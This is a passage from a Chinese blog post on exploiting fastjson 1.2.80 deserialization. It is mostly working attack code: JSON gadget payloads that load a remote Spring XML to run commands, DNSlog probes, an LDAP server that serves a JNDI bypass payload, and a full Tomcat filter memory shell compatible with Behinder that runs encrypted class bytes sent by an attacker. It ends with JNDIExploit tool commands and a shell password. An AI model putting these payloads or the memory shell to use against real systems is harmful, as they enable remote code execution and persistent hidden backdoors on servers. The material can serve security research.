第二个payloadorg.codehaus.groovy.control.ProcessingUnit由于缓存的得以顺利加载。

image-20221012200445697

image-20221012200428883

由于org.codehaus.groovy.tools.javac.JavaStubCompilationUnitorg.codehaus.groovy.control.ProcessingUnit的子类,所以也能利用期望类绕过checkAutoType成功反序列化。

image-20221012210645973

image-20221012214318152

这个类对应的反序列化器为默认的JavaBeanDeserializer,进入其deserialze方法,先调用属性的反序列化器去setter

image-20221012221627073

然后调用构造方法进行实例化。

image-20221012213211258

image-20221012213314800

image-20221012213623525

调用链如下图:

image-20221012001144860

image-20221012001234995

这里不把两个payload写一块是因为第一个payload会抛出一个错误,终止后面的解析。

image-20221013004631504

jdbc

依赖jython+postgresql+spring-context

image-20221013002648471

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
            },
            "url":""
        }
    }
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
  <constructor-arg>
    <list value-type="java.lang.String" >
       <value>cmd</value>
       <value>/c</value>
       <value>calc</value>
    </list>
  </constructor-arg>
  <property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

更多payload:https://github.com/su18/hack-fastjson-1.2.80

更多的利用链分析:回放视频 (8月27日下午视频的第26分钟开始)。

fastjson探测

区分Jackson和fastjson

Jackson 因为强制 key 与 javabean 属性对齐不能多 key,通过是否报错区分

{“name”:S, “age”:21} => {“name”:S, “age”:21,“abc”:123}

版本信息

  • 传一个没有闭合的json字符串,使其报错:
{"@type":"java.lang.AutoCloseable"
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

漏洞探测

在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。当autoTypeSupport为False(默认)时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

内存马注入

这里的测试环境为JDK8u211+springboot。

使用LDAP+序列化本地工厂类的方式绕过高版本jdk的限制,不过由于org.apache.naming.factory.BeanFactory在tomcat-catalina 9.0.62后的版本forceString选项已作为安全强化措施删除,所以这里特别设置了tomcat-embed-core的版本

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>

    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>9.0.62</version>
    </dependency>
    
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>2.6.7</version>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-tomcat</artifactId>
        <version>2.6.7</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <version>2.6.7</version>
        <scope>test</scope>
    </dependency>
</dependencies>
package com.example.fastjsondemo;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping(value = "/index", method = RequestMethod.POST)
    public Object hello(@RequestParam("code")String code) throws Exception {
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.out.println(code);
        Object object = JSON.parse(code);
        return code + "->JSON.parseObject()->" + object;
    }
}

ldapSever的代码如下:

package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.util.Base64;

public class LdapServerBypass {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                1389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new LdapServerBypass.OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{
        private String payloadTemplate = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"{replacement}\")}";
        private String payload = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replacement}');\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n   method.setAccessible(true);\n   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n   clazz.newInstance();\n;";
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            CtClass clazzz = null;
            byte[] code;
            String base = result.getRequest().getBaseDN();
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
            ref.add(new StringRefAddr("forceString", "test=eval"));
            ClassPool pool = ClassPool.getDefault();
            //要加载的恶意类 MemoryShell.BehinderFilter2
            try {
                clazzz = pool.get(MemoryShell.BehinderFilter2.class.getName());
                code = clazzz.toBytecode();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }

            String ClassCode = Base64.getEncoder().encodeToString(code);

            this.payload = this.payload.replace("{replacement}", ClassCode);
            String finalPayload = this.payloadTemplate.replace("{replacement}", payload);
            System.out.println(finalPayload);
            ref.add(new StringRefAddr("test", finalPayload));

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "java.lang.String");
            try {
                entry.addAttribute("javaSerializedData", serialize(ref));
            } catch (IOException e) {
                throw new RuntimeException(e);
            }

            try {
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static byte[] serialize(Object ref) throws IOException {
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(ref);
            return out.toByteArray();
        }
    }
}

内存马使用从线程中获取request对象再获取standardContext的方式,这里dofilter的实现在冰蝎4.0可用

image-20221007030135593

package MemoryShell;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;

public class BehinderFilter2 implements Filter {

    static {
        String filterName = "test";
        org.apache.catalina.connector.Request req = null;
        try {
            boolean flag = false;
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
            for (int i=0;i<threads.length;i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (threadName.contains("Poller") && threadName.contains("http")){
                        Object target = getField(thread,"target");
                        Object global = null;
                        if (target instanceof Runnable){
                            // 需要遍历其中的 this$0/handler/global
                            // 需要进行异常捕获,因为存在找不到的情况
                            try {
                                global = getField(getField(getField(target,"this$0"),"handler"),"global");
                            } catch (NoSuchFieldException fieldException){
                                fieldException.printStackTrace();
                            }
                        }
                        // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                        if (global != null){
                            List processors = (List) getField(global,"processors");
                            for (i=0;i<processors.size();i++){
                                RequestInfo requestInfo = (RequestInfo) processors.get(i);
                                if (requestInfo != null){
                                    Request tempRequest = (Request) getField(requestInfo,"req");
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    req = request;
                                    flag = true;
                                    break;
                                }
                            }
                        }
                    }
                }
                if (flag){
                    break;
                }
            }
            //获取 servletContext
            ServletContext servletContext = null;
            if (req != null) {
                servletContext = req.getServletContext();
            }

            // 如果已有此 filterName 的 Filter,则不再重复添加
            if (servletContext.getFilterRegistration(filterName) == null) {

                StandardContext standardContext = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                if (servletContext != null){
                    Field ctx = servletContext.getClass().getDeclaredField("context");
                    ctx.setAccessible(true);
                    ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

                    Field stdctx = appctx.getClass().getDeclaredField("context");
                    stdctx.setAccessible(true);
                    standardContext = (StandardContext) stdctx.get(appctx);
                }

                // 创建自定义 Filter 对象
                Filter evilFilter =new BehinderFilter2();
                //修改context状态
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

                // 创建 FilterDef 对象
                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                //添加映射 设置要拦截的路径
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/arnold"});
                //状态恢复,要不然服务不可用
                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null) {
                    //在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
                    java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    //把filter插到第一位
                    org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }
                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }

    }
    public static Object getField(Object obj,String fieldName) throws Exception{
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        // 获取request和response对象
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        //create pageContext
        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);

        if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
            //解码器
            byte[] decodebs;
            Class baseCls ;
            try{
                baseCls=Class.forName("java.util.Base64");
                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
            }
            catch (Throwable e) {
                try {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder= null;
                    Decoder = baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
                } catch (Exception ex) {
                    throw new RuntimeException(ex);
                }
            }

            String key="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
            for (int i = 0; i < decodebs.length; i++) {
                decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
            }

            try {
                //revision BehinderFilter
                Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClassMethod.setAccessible(true);
                Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length);
                cc.newInstance().equals(pageContext);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

image-20221007025306957

image-20221007025639336

当然更方便的办法是使用JNDIExploit-1.3这个工具

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.131

ldap://192.168.106.131:1389/TomcatBypass/TomcatMemshell3

冰蝎3.0可用,连接密码为ateamnb

参考

[KCon Hacking JSON](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)

Java 反序列化漏洞始末(3)— fastjson

fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路

fastjson 1.2.68 最新版本有限制 autotype bypass

Fastjson1-2-80漏洞复现

fastjson 1.2.80 漏洞分析

fastjson 1.2.80绕过简单分析

https://www.cnblogs.com/writeLessDoMore/p/6926451.html

https://xz.aliyun.com/t/7107

https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/11727

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 13:08:02  更:2022-10-17 13:10:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 20:39:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码